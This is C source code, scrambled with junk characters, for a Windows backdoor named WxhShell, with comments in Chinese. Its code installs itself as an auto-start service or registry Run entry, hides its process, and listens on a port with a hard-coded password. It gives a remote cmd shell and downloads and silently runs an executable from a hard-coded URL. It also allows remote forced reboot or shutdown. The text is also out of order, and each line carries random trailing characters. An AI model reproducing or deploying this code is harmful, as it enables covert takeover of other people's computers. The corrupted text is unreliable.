    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nvR%Ub x  
    else { D"4*l5l  
    closesocket(wsh); I bD u+~)  
    ExitThread(0); K@p9_K8  
    } ja9u?UbW  
    break; -8)Hulo/{U  
    } KpGx<+0p  
  // 获取shell JZ}zXv   
  case 's': { "mn?*  
    CmdShell(wsh); aVR!~hvFs  
    closesocket(wsh); zfop-qDOc  
    ExitThread(0); /4+L2O[  
    break; ndFVP;q  
  } G ]h  
  // 退出 2sGKn a  
  case 'x': { u0W6u} 4;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wrp~OF0k  
    CloseIt(wsh); nReIi;pi  
    break; -3ePCAtXbe  
    } k{r<S|PK0  
  // 离开 @G;9eh0$  
  case 'q': { q]1p Q)\'p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *C55DO^w  
    closesocket(wsh); >)D=PvGlmp  
    WSACleanup(); |cd "cx+  
    exit(1); GG%;~4#2  
    break; GJWGT`"  
        } 6D ]fDeH\  
  } _p"u~j~%-  
  } {_!,T%>+1  
"$N$:B@U  
  // 提示信息 i=/hLE8T*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RR=WD-l  
} aEzf*a|fSV  
  } -0xo6'mD  
E-1u_7  
  return; i+(>w'=m  
} zf8SpQ2~  
g}R#0gkdk}  
// shell模块句柄 ,|z@ Dy  
int CmdShell(SOCKET sock) `}`Qqv  
{ '__>M>[  
STARTUPINFO si; jvv=  
ZeroMemory(&si,sizeof(si)); A3.I|/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7:g_:}m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Syseiw  
PROCESS_INFORMATION ProcessInfo; +-b'+mF  
char cmdline[]="cmd"; v6G1y[Wl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0Sk~m4fj(  
  return 0; ,~,q 0PA7J  
} ` Ft-1eE  
%7 -(c  
// 自身启动模式 pq]z%\$u  
int StartFromService(void) 2u-J+  
{ tJ_Y6oFm=  
typedef struct KaMg [ G  
{ M]X!D7  
  DWORD ExitStatus; P0; y  
  DWORD PebBaseAddress; tBkgn3w  
  DWORD AffinityMask; &0f/F:M  
  DWORD BasePriority; 4pMp@ b  
  ULONG UniqueProcessId; O*/%z r  
  ULONG InheritedFromUniqueProcessId; ?7pn%_S  
}   PROCESS_BASIC_INFORMATION; 8 pf]M&  
NRG06M  
PROCNTQSIP NtQueryInformationProcess; )?OdD7gd  
J<H]vs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $,O8SW.O$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iVnMn1h  
qi~-<qW  
  HANDLE             hProcess; FO(QsR=\s  
  PROCESS_BASIC_INFORMATION pbi; l z"o( %D  
g||EjCsp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c2Z !Vtd  
  if(NULL == hInst ) return 0; 1P"{TMd?  
W4av?H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wQhuU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IhK SwT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zgp9Uu}"  
PA803R74  
  if (!NtQueryInformationProcess) return 0; 9i 9 ,X^=  
byE0Z vDM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pam9wfP  
  if(!hProcess) return 0; ;X]B0KFe7  
Y|b,pC|,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vO$cF*  
,]yS BAO  
  CloseHandle(hProcess); R+ \%  
)TVd4s(e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r aOuD3  
if(hProcess==NULL) return 0; fBZLWfp9  
1yz%ud-l  
HMODULE hMod; I+twI&GS  
char procName[255]; t}I@Rmso  
unsigned long cbNeeded; ha;fxM]  
Vb#a ,t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R=a4zVQ  
%E#Ubm!  
  CloseHandle(hProcess); ?(R#  
_kRc"MaB  
if(strstr(procName,"services")) return 1; // 以服务启动 {R63n  
XZ8rM4 ]  
  return 0; // 注册表启动 ZZ{c  
} yU/?4/G!  
|.RyF@N`T  
// 主模块 XP!m]\E&I  
int StartWxhshell(LPSTR lpCmdLine) ORP<?SG55u  
{ A p?,y?  
  SOCKET wsl; -,;woOG  
BOOL val=TRUE; :+>7m  
  int port=0; "XV@O jr E  
  struct sockaddr_in door; /d6Rd l`w  
aqk$4IG  
  if(wscfg.ws_autoins) Install(); a%HNz_ro  
#6#n4`%ER  
port=atoi(lpCmdLine); k kD#Bb  
1 Vc_jYO@  
if(port<=0) port=wscfg.ws_port; Md>C!c  
CDtL.a\  
  WSADATA data; Y ~I>mc]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [~|k;\2 +  
n2-+.9cY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3  ;F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XW8@c2jN\7  
  door.sin_family = AF_INET; `{K-eHlrM9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0e#PN@  
  door.sin_port = htons(port); L.;x=w  
bG"FN/vg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]Oo!>iTQi  
closesocket(wsl); wDoCc:  
return 1; Yz[Rl ^  
} +PsR*T  
?P|z,n{  
  if(listen(wsl,2) == INVALID_SOCKET) { [];wP '*  
closesocket(wsl); `%#_y67v  
return 1; 6A5.n?B{  
} .WN&]yr,  
  Wxhshell(wsl); s/J7z$NEU  
  WSACleanup(); X#0yOSR  
WwnBe"7M  
return 0; $U7/w?gc'  
=Oh$pZRymu  
} ,-EN{ed  
^9hc`.5N&?  
// 以NT服务方式启动 rmvrv.$3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RWM~7^JA  
{ b0h\l#6  
DWORD   status = 0; <bCB-lG*Kb  
  DWORD   specificError = 0xfffffff; 6 mLC{X[  
_'Vo3b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \,p?pL<'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7yg {0a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Citumc)E  
  serviceStatus.dwWin32ExitCode     = 0; 5Y`4%*$  
  serviceStatus.dwServiceSpecificExitCode = 0; :$yOic}y  
  serviceStatus.dwCheckPoint       = 0; xZ2 1i QeN  
  serviceStatus.dwWaitHint       = 0; hB\BFVUSn/  
AZNo%!)o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zn= pm#L  
  if (hServiceStatusHandle==0) return; x7l}u`N4  
\&V[<]  
status = GetLastError(); Qz{Vl> "  
  if (status!=NO_ERROR) ^_G#JJ\@$  
{ "tk1W>liIN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *Z.{1  
    serviceStatus.dwCheckPoint       = 0; Mx93D   
    serviceStatus.dwWaitHint       = 0; OH n~DL2  
    serviceStatus.dwWin32ExitCode     = status; $`0^E#Nl  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lnn^j#n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^"/TWl>jB  
    return; g_tEUaiK  
  } y}U'8*,  
GP ^^ K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ' t(#HBU  
  serviceStatus.dwCheckPoint       = 0; +dq2}gM  
  serviceStatus.dwWaitHint       = 0; Q(1R=4?.Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Avljrds+7  
} !VG ]~lc  
k-s|gC4  
// 处理NT服务事件,比如:启动、停止 bccf4EyQ Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8h}1t4k  
{ (]fbCH:  
switch(fdwControl) t?weD{O  
{ yg|yoL'g  
case SERVICE_CONTROL_STOP: UAI'tRY N_  
  serviceStatus.dwWin32ExitCode = 0; >K%+h)%kI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jM{5nRQ  
  serviceStatus.dwCheckPoint   = 0; ky]L`w  
  serviceStatus.dwWaitHint     = 0; 9a1R"%Z  
  { 11fV|b%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6(A"5B=\  
  } R >[G6LOG  
  return; *a(GG  
case SERVICE_CONTROL_PAUSE: daQJ{Cd,w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {t'SA]|g  
  break; \Q?#^<O  
case SERVICE_CONTROL_CONTINUE: j{ri]?p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U?:?NC=1{  
  break; YZ->ep}  
case SERVICE_CONTROL_INTERROGATE: J6zU#  
  break; _w5c-\-PUM  
}; 9I1i(0q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u~N'UD1x  
} N_0B[!B]  
gHWsKE  %  
// 标准应用程序主函数 T+5H2]yy)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W{}M${6&  
{ `P;3,@ e  
V-dub{K  
// 获取操作系统版本 xCu\jc)2  
OsIsNt=GetOsVer(); 7<5=fYb r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }?U #@ h  
cdL0<J b,  
  // 从命令行安装 (gutDUO;  
  if(strpbrk(lpCmdLine,"iI")) Install(); /E Z -  
~^g*cA t}  
  // 下载执行文件 1HRcEzA  
if(wscfg.ws_downexe) { z Hl+P*)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O3p<7`K<4  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4"+v:t)z6{  
}  zK:2.4  
#6 $WuIG  
if(!OsIsNt) { Oh7wyQiV  
// 如果时win9x,隐藏进程并且设置为注册表启动 +DSZ(Zb4qY  
HideProc(); 1=jwJv.^/  
StartWxhshell(lpCmdLine); q:,ck@-4  
} j|r$ ! gV  
else h7}P5z0F  
  if(StartFromService()) 2$joM`j$  
  // 以服务方式启动 %cq8%RT  
  StartServiceCtrlDispatcher(DispatchTable); zgSv -h+f  
else Lyjp  
  // 普通方式启动 P#2#i]-  
  StartWxhshell(lpCmdLine); XiyL563gh  
[ldx_+xa:E  
return 0; W=!D[G R  
} <TEDs4 C  
idZ]d6  
+tv"j;z  
h]^= y.Q  
=========================================== ?Aky!43  
S\A9r!2  
J/A UOInh  
$&0\BvS  
5S%#3YHY2  
V_H0z  
" vsbD>`I  
lUM-~  
#include <stdio.h> ' "o2;J)7  
#include <string.h> o:RO(oA0?  
#include <windows.h> ,mD{4 >7  
#include <winsock2.h> +(o]E3  
#include <winsvc.h> NS^+n4  
#include <urlmon.h> M}!E :bv'  
]=sGLd^)E  
#pragma comment (lib, "Ws2_32.lib") M{`uI8vD  
#pragma comment (lib, "urlmon.lib") gib;> nuBK  
U$6(@&P!  
#define MAX_USER   100 // 最大客户端连接数 Ku]<$uo  
#define BUF_SOCK   200 // sock buffer `&o>7a;  
#define KEY_BUFF   255 // 输入 buffer oJor ]QYK  
[7=?I.\Cr7  
#define REBOOT     0   // 重启 E>x,$w<?  
#define SHUTDOWN   1   // 关机 @DCw(.k*  
Gq;!g(  
#define DEF_PORT   5000 // 监听端口 ;cW9NS3:  
G:!'hadw  
#define REG_LEN     16   // 注册表键长度 E9PD1ADR  
#define SVC_LEN     80   // NT服务名长度 2g_2$)2  
C_V5.6T!  
// 从dll定义API iea7*]vW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MDOP2y`2i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d<afO?"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Iq: G9M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aX(Y `g)|  
!1Z rS  
// wxhshell配置信息 tJZ3P@ L  
struct WSCFG { {t QZqqdn@  
  int ws_port;         // 监听端口 'n4 iW  
  char ws_passstr[REG_LEN]; // 口令 @N+6qO}  
  int ws_autoins;       // 安装标记, 1=yes 0=no CC{{@  
  char ws_regname[REG_LEN]; // 注册表键名 J nf@u  
  char ws_svcname[REG_LEN]; // 服务名 kU[#. y=%p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P)&qy .+E0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SOo}}a0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C(lGW,!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2sNV09id  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z Feo8S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !d3:`l<  
Qwu~ {tf+'  
}; 5Ak6q(\  
Q a8;MxK`  
// default Wxhshell configuration p;YS`*!s  
struct WSCFG wscfg={DEF_PORT, qr_:zXsob_  
    "xuhuanlingzhe", ?D`h[ai  
    1, a;[=b p  
    "Wxhshell", ! )PV-[2  
    "Wxhshell", \N"=qw^ t  
            "WxhShell Service", B0eKj=y;  
    "Wrsky Windows CmdShell Service", kC4}@{4i  
    "Please Input Your Password: ", eJ tfQ@?  
  1, ^h\Y.  
  "http://www.wrsky.com/wxhshell.exe", !_#2$J*s^D  
  "Wxhshell.exe" <c$K3  
    }; 7\sRf/  
%P tdFz$  
// 消息定义模块 5t-dvYgU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $3Srr*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fPu,@ L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PcK;L(  
char *msg_ws_ext="\n\rExit."; 7z^\}&  
char *msg_ws_end="\n\rQuit."; g6 Nw].{  
char *msg_ws_boot="\n\rReboot..."; 47 *,  
char *msg_ws_poff="\n\rShutdown..."; yi$Jk}w  
char *msg_ws_down="\n\rSave to "; Ec;{N  
JVk"M=c  
char *msg_ws_err="\n\rErr!"; t (>}  
char *msg_ws_ok="\n\rOK!"; +U];  
K\a=bA}DG  
char ExeFile[MAX_PATH]; T.kQ] h2ZG  
int nUser = 0; H|i39XV  
HANDLE handles[MAX_USER]; "<5su5]  
int OsIsNt; kz+OUA@~  
~99DE78  
SERVICE_STATUS       serviceStatus; :^oF0,-qZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?*h 2:a$  
s GdlS&08(  
// 函数声明 ap[{`u  
int Install(void); -p\uW 0XA  
int Uninstall(void); 38Bh9>c3  
int DownloadFile(char *sURL, SOCKET wsh); 6~_ TXy/  
int Boot(int flag); e;ej/)no`  
void HideProc(void); ;Q&|-`NK  
int GetOsVer(void); f R?Xq@c  
int Wxhshell(SOCKET wsl); 2IGoAt>V  
void TalkWithClient(void *cs); A:-r 2;xB  
int CmdShell(SOCKET sock); oPPxja g\  
int StartFromService(void); UZ` <D/  
int StartWxhshell(LPSTR lpCmdLine); ':jsCeSB  
gN("{j1Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uO,9h0y0W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eVy>  
F}Kkhs {  
// 数据结构和表定义 wQV[ZfU^h  
SERVICE_TABLE_ENTRY DispatchTable[] = ] s))O6^f  
{ 5i42o+'  
{wscfg.ws_svcname, NTServiceMain}, YAoGVey  
{NULL, NULL} 3w -0IP]<  
}; HpX ;:/I  
&rmXz6 F  
// 自我安装 7\?0d!  
int Install(void) {-fhp@;  
{ (ndTEnpp  
  char svExeFile[MAX_PATH]; lPywr TG0  
  HKEY key; 1'G&PX   
  strcpy(svExeFile,ExeFile); bI_T\Eft  
i:coNK)4  
// 如果是win9x系统,修改注册表设为自启动 F^/1 u  
if(!OsIsNt) { c\\'x\J7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C =6.~&(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3?+CP-T-j  
  RegCloseKey(key); [10y13  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jrKRXS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =>kE`"{!  
  RegCloseKey(key); :~Z -K\  
  return 0; $xK2M  
    } _,?<r&>v6  
  } 9 Y-y?Y  
} ,@#))2<RK  
else { ruKm_j#J  
`v|w&ty*  
// 如果是NT以上系统,安装为系统服务 nbMxQOD k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /YLHg5n8+  
if (schSCManager!=0) wIbxnn  
{ L xg,BZV  
  SC_HANDLE schService = CreateService @|jLw($Ly  
  ( s)L\D$;+O  
  schSCManager, ZgzjRa++  
  wscfg.ws_svcname, e@ mjh,  
  wscfg.ws_svcdisp, $Sx(vq6(  
  SERVICE_ALL_ACCESS, C;UqLMrOI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T{"[Ih3Mbl  
  SERVICE_AUTO_START, Vx<`6uv  
  SERVICE_ERROR_NORMAL, $\w<.)"#  
  svExeFile, FoNkISzW  
  NULL, KmYSYNr@,  
  NULL, ,dR<O.{ 0  
  NULL, ZR," w  
  NULL, J_|LG rt})  
  NULL ;K$ !c5  
  ); _&wrA3@/L  
  if (schService!=0) R[ #vFQ  
  { UD!-.I]  
  CloseServiceHandle(schService); 6${=N}3Kw  
  CloseServiceHandle(schSCManager); d:X@zUR*)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' a>YcOw  
  strcat(svExeFile,wscfg.ws_svcname); $0mR_pA\fW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hb.^ &  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JH|]B|3  
  RegCloseKey(key); lM |}K-2  
  return 0; +v.<Fw2k#  
    } g!\H^d4  
  } _u{z$;  
  CloseServiceHandle(schSCManager); [pRRBMho  
} sOyL  
} 8)o%0#;0B  
D^Gs_z$['  
return 1; P{ K;vEp  
}  3cA '9  
yp!7^  
// 自我卸载 i< b-$9  
int Uninstall(void) Vm*E^ v  
{ `9* |Y8:  
  HKEY key; z @21Z`,  
;TC"n!ew  
if(!OsIsNt) { }1#prQ0F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PrKH{nyJk  
  RegDeleteValue(key,wscfg.ws_regname); 0 L$[w  
  RegCloseKey(key); a_3w/9L4r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W>j@E|m$  
  RegDeleteValue(key,wscfg.ws_regname); M-8`zA2  
  RegCloseKey(key); |pG%]?A  
  return 0; zMXQfR   
  } YvG=P<_xw  
} `*ALb|4ilG  
} (2Z k fN  
else { @GWJq 3e  
^m/7T wD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Miz?t*|{[  
if (schSCManager!=0) d.0K~M   
{ kW7$Gw]-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !$hi:3{U ,  
  if (schService!=0) f#kT?!sP  
  { z*UgRLKZD  
  if(DeleteService(schService)!=0) { VTa%  
  CloseServiceHandle(schService); t$e'[;w  
  CloseServiceHandle(schSCManager); \iP5.3C  
  return 0; rS!M0Hq>t  
  } i IM\_<?  
  CloseServiceHandle(schService);  i}_"  
  } =NmW}x|n  
  CloseServiceHandle(schSCManager); h343$,))u  
} ?C`r3  
} 1\a.o[g3e  
9:P\)'y?  
return 1; \ZA@r|=$  
} X'88W-  
LS$zA>:  
// 从指定url下载文件 "AP$)xM-:  
int DownloadFile(char *sURL, SOCKET wsh) Q5b9q$L$  
{ !zfKj0^  
  HRESULT hr; 4T-"\tmg/  
char seps[]= "/"; r )HZaq  
char *token; & 'CUc/,  
char *file; $J):yhFs e  
char myURL[MAX_PATH]; {;N2 &S o  
char myFILE[MAX_PATH]; R@-x!*z  
osl\j]U8  
strcpy(myURL,sURL); ^ L]e]<h(  
  token=strtok(myURL,seps); &f}w&k2yj  
  while(token!=NULL) Bf.iRh0Q5  
  { !S%0#d2  
    file=token; t#xfso`4o  
  token=strtok(NULL,seps); mPhu#oK'f  
  } @C<ofg3E  
! B92W  
GetCurrentDirectory(MAX_PATH,myFILE); SK#&%Yk  
strcat(myFILE, "\\"); 9GRQ^E  
strcat(myFILE, file); I tb_ H  
  send(wsh,myFILE,strlen(myFILE),0); RRXp9{x`  
send(wsh,"...",3,0); ; NH^+h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i)'tt9f$  
  if(hr==S_OK) '$c9S[  
return 0; e=l:!E10  
else 4i PVpro  
return 1; h!ogH >S~  
m8;w7S7,j~  
} M\/hK2J# #  
JEk'2Htx  
// 系统电源模块 $C sE[+k1  
int Boot(int flag) qY$ [2]  
{  4=ovm[  
  HANDLE hToken; EK5$z>k>m  
  TOKEN_PRIVILEGES tkp; lm 96:S  
+ c+i u6+"  
  if(OsIsNt) { araXE~Ac  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bU}v@Uk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); */l;e<E  
    tkp.PrivilegeCount = 1; lcm3wJ'w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !6 L!%Oi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p0WUF\"  
if(flag==REBOOT) { SDC'S]{ew  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DnFzCJ  
  return 0; N<8\.z5:<  
} -2; 6Pwmv  
else { l'/`2Y1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _ ,s^  
  return 0; '.1P\>x!]  
} gu!!}pwV9  
  } cZQ8[I  
  else { #|ts1lD#ah  
if(flag==REBOOT) { A1INaL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O7Jux-E1C  
  return 0; |~e"i<G#  
} **L&I5Hhm  
else { BLy V~   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j(Lz& *4  
  return 0; P,ueLG=  
} )gEE7Ex?  
} &F uPd}F  
\^*:1=|7u]  
return 1; xy7A^7Li  
} U?sHh2*  
[M[<'+^*  
// win9x进程隐藏模块 }[;ZZm?  
void HideProc(void) [j-?)  
{ /iFn =pk1?  
qC> tni%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "D _r</b  
  if ( hKernel != NULL ) Q?i_Nl/|  
  { "-$}GUK?Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .DhI3'Jrl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FC] *^B  
    FreeLibrary(hKernel); ng3ZK  
  } C '( Y  
q$:7j5E  
return; ZPmqoR[  
} `s}L3bR]  
5G}4z>-]F)  
// 获取操作系统版本 |CDM(g>%  
int GetOsVer(void) %6320 x  
{ *~)6 sm  
  OSVERSIONINFO winfo; bgi_QB#k\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n?fy@R  
  GetVersionEx(&winfo); ]&%KU)i?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;DuVb2~+  
  return 1; ^~H{I_Y  
  else a yA;6Qt  
  return 0; u2oS Ci  
} +c))fPuV  
~#sD2b` 0  
// 客户端句柄模块 e P@#I^_  
int Wxhshell(SOCKET wsl) .7.lr[$g  
{ ]eKuR"ob0  
  SOCKET wsh; }gkLO TJ/,  
  struct sockaddr_in client; T)\}V#iA*  
  DWORD myID; idYB.]Y(  
TmG);B}  
  while(nUser<MAX_USER) 1,wcf,  
{ Fa%1] R  
  int nSize=sizeof(client); ]@#9B>v=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0F|t@?S  
  if(wsh==INVALID_SOCKET) return 1; `j>5W<5q\  
Y"mFUW4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,m=G9QcN  
if(handles[nUser]==0) Me .I>7c  
  closesocket(wsh); Z\nDR|3  
else *]]Zpa6  
  nUser++; oV vA`}  
  } 1C<cwd;9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `9^tuR,  
Z~J]I|R:  
  return 0; -!PJHCLd  
} ,.<mj !YE  
XRV]u|w=g  
// 关闭 socket axnlI*!  
void CloseIt(SOCKET wsh) J#(AX6  
{ i1B!oZ3q  
closesocket(wsh); 1"H;Tr|  
nUser--; !/}3/iU  
ExitThread(0); ^p3 GT6  
} t8*Jdd^3Z/  
`dZ|Ko%k  
// 客户端请求句柄 uV5uZ  
void TalkWithClient(void *cs) izl6L  
{ \4N8-GwZQ  
q^aDZzx,z  
  SOCKET wsh=(SOCKET)cs; 4qid+ [B  
  char pwd[SVC_LEN]; TDH^x1P  
  char cmd[KEY_BUFF]; dVbFMQ&  
char chr[1]; 36=aahXd\  
int i,j; 3uuIISK  
]DNPG"  
  while (nUser < MAX_USER) { X!]v4ma`  
(7R?T}  
if(wscfg.ws_passstr) { yD3}USw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BP3Ha8/X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tAv3+  
  //ZeroMemory(pwd,KEY_BUFF); QL7b<xDQC*  
      i=0; 5NhFjPETr  
  while(i<SVC_LEN) { fmW{c mr|  
RIMSXue*Ha  
  // 设置超时 ;u<Ah?w=Z  
  fd_set FdRead; U,#~9  
  struct timeval TimeOut; +M-tYE 5n  
  FD_ZERO(&FdRead); 2^o7 ^S  
  FD_SET(wsh,&FdRead); %,@pV%2  
  TimeOut.tv_sec=8; 0ID9=:J  
  TimeOut.tv_usec=0; MfL7|b)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V%8(zt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RcYUO*  
R;OPY?EeW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  V9) /  
  pwd=chr[0]; gC1LQ!:;Oi  
  if(chr[0]==0xd || chr[0]==0xa) { uPfz'|,  
  pwd=0; ~Zr}QO}G  
  break; b G:\*1T  
  } P73GH  
  i++; ,U\ s89  
    } NH/A`Wm  
gv`_+E{P  
  // 如果是非法用户,关闭 socket a3yNd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -.h)CM@L  
} Jpapl%7v  
[^"*I.Z_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R #wZW&N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h*fN]k6  
J+P<zC  
while(1) { j}uL  
Ih.+-!w  
  ZeroMemory(cmd,KEY_BUFF); &Gt{9#  
H7+"BWc  
      // 自动支持客户端 telnet标准   uMQI Aapb  
  j=0; (l99a&] t  
  while(j<KEY_BUFF) { 7fR5V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <odi>!ViH  
  cmd[j]=chr[0]; j=O+U _w  
  if(chr[0]==0xa || chr[0]==0xd) { h?xgOb!4  
  cmd[j]=0; . Vb|le(7  
  break; 9Vt ^q%DC  
  } o ]*yI[\  
  j++; +@rFbsyJ.  
    } k?fz @H8D(  
}+!"mJx@  
  // 下载文件 eke[{%L  
  if(strstr(cmd,"http://")) { C'I&<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4;YP\{u  
  if(DownloadFile(cmd,wsh)) Tksv7*5$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7z;2J;u`n  
  else M`&t=0D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q1VKoKb6\:  
  } Xe);LhDC  
  else { dUv@u !}B  
J&aN6l?  
    switch(cmd[0]) { Dl/ C?Fll  
  g kmof^  
  // 帮助 fS"u"]j*e  
